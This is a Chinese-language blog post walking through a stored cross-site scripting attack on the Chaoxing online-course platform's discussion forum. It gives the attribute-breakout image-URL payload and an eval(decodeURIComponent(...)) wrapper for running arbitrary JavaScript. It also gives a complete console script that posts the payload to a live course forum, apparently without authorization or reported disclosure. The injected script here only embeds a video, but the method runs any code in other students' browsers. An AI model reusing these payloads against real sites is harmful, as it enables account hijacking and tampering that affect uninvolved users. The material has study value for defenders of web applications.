超星平台XSS

记录一次对超星平台XSS攻击的过程

先前

在超星刷网课的时候偶然发现了这个东西

image-20201124103151351

显然,是有人提前进行了XSS。

那么我们拓展一下,在网页上执行任意代码试试。

首先我们分析请求,在新建话题点击发布的时候

image-20201124103354242

分析

网页执行代码:

1
publishTopicRefresh('338XX741','215XXX9195','153XXX782','s');

我们对JS进行分析,发现publishTopicRefresh方法的对应的代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	jQuery.post(
"/bbscircle/grouptopic/publish",
{
courseId : courseid,
clazzid : clazzid,
title : title,
content : content,
type : 4,
files : str,
cpi : cpi,
ut : ut,
chooseClazzId : chooseClazzId,
attachmentFile : allAttachment
},
function(data) {
if (data.indexOf('error') !== 0) {
window.location.reload();
} else {
alert(data);
}
});
};

其中 ,clazzid,courseId,chooseClazzId等变量分别有对应的函数参数,而str则是选择图片后,图片先上传至服务器,返回的图片直链。

前端加载时,后端会返回图片的标签

1
<img src="上传的图片地址"  data-original="上传的图片地址">

而上传的图片地址可以由我们自己构造

操作

既然如此,我们不妨构造这么一段字符串:

1
https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg" onload ="alert('这是XSS')

我们把它带入看看:

1
<img src="https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg" onload ="alert('这是XSS')"  data-original="上传的图片地址">

但是上传时"双引号需要用转义字符\来进行原样输出,否则报错:

1
Uncaught SyntaxError: Unexpected identifier

最终字符串是这样的:

1
https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg\" onload =\"alert(\'这是XSS\')

可以看到,src被我们提前结束,并在<img>标签中添加了onload事件,这就是我们在开头看到的效果。

那么我们可不可以在onload事件中执行任意代码呢?

当然可以

拓展

如何在onload事件中执行任意代码?

首先,我们想到的是,既然可以提前结束src,那么能不能提前结束<img>呢?

我尝试构造这样的字符串:

1
https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg"> 任意标签 <img src="https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg

理论上结果应该是这样的:

1
<img src="https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg"> 任意标签 <img src="https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg"  data-original="上传的图片地址">

效果应该是有两张图片,并且中间有我们自定义的任意标签。

难道这样就可以了吗?

水复山重

可惜不行,让我们看看效果

image-20201124110251406

观察代码,发现:

1
<img src="https://p.ananas.chaoxing.com/star3/120_120c/b0c12760f1a9557460dc86e88bdbdeac.jpg" &gt;"="" data-original="https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg">

浏览器自动吧>当做字符处理,转成了&gt;,经过尝试,我们发现即使用\也不行,难道就没有办法了吗?

当然有!

柳暗花明

既然不能出现尖括号,那我们不用不就行了吗?

纯 JS也是可以插入标签的。

那我们尝试在之中插入B站的<iframe>标签

1
<iframe src="//player.bilibili.com/player.html?aid=2582803&bvid=BV17s411S7dr&cid=4034089&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>

我们在之前上传的图片中定义一个ID叫做yrm_sp(咬人猫_视频),获取他的父节点,使用这三行代码进行添加:

1
2
3
var yrm_ifram = document.createElement("iframe");
yrm_ifram.setAttribute("src","//player.bilibili.com/player.htmlaid=2582803&bvid=BV17s411S7dr&cid=4034089&page=1");
document.getElementById("yrm_sp").parentNode.append(yrm_ifram);

但是问题来了,onload中只能写一行代码,并且由于是用代码添加的原因,不能出现分号,否则就会报错

1
Uncaught SyntaxError: Unexpected identifier

所以怎么办呢?

不要忘了,js中有个函数叫eval()

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码

原代码:

1
2
3
var yrm_ifram = document.createElement("iframe");
yrm_ifram.setAttribute("src","//player.bilibili.com/player.html?aid=2582803&bvid=BV17s411S7dr&cid=4034089&page=1");
document.getElementById("yrm_sp").parentNode.append(yrm_ifram);

去换行并使用URL编码后:

1
var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B

使用decodeURIComponent('')解码并嵌套在eval内:

1
eval(decodeURIComponent('var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B'));

注意一下,如果要原样输出的引号要用\转义,而要执行的代码的引号不用。

最终构造出来的是:

1
https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg\" onload =\"eval(decodeURIComponent('var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B'));\"

在网页控制台执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var allAttachment = noticeAttachment();
jQuery.post("/bbscircle/grouptopic/publish",
{
courseId : '215269195',
clazzid : '33832741',
title : '加载视频',
content : '嘿!',
type : 4,
files : "https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg\" onload=\"eval(decodeURIComponent('var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B'));\""
cpi : 0,
ut : 's',
chooseClazzId : 33832741,
attachmentFile : allAttachment
},
function(data) {
if (data.indexOf('error') !== 0) {
window.location.reload();
} else {
alert(data);
}
});

效果:

image-20201124124045091

打赏
  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020-2021 ZHF
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信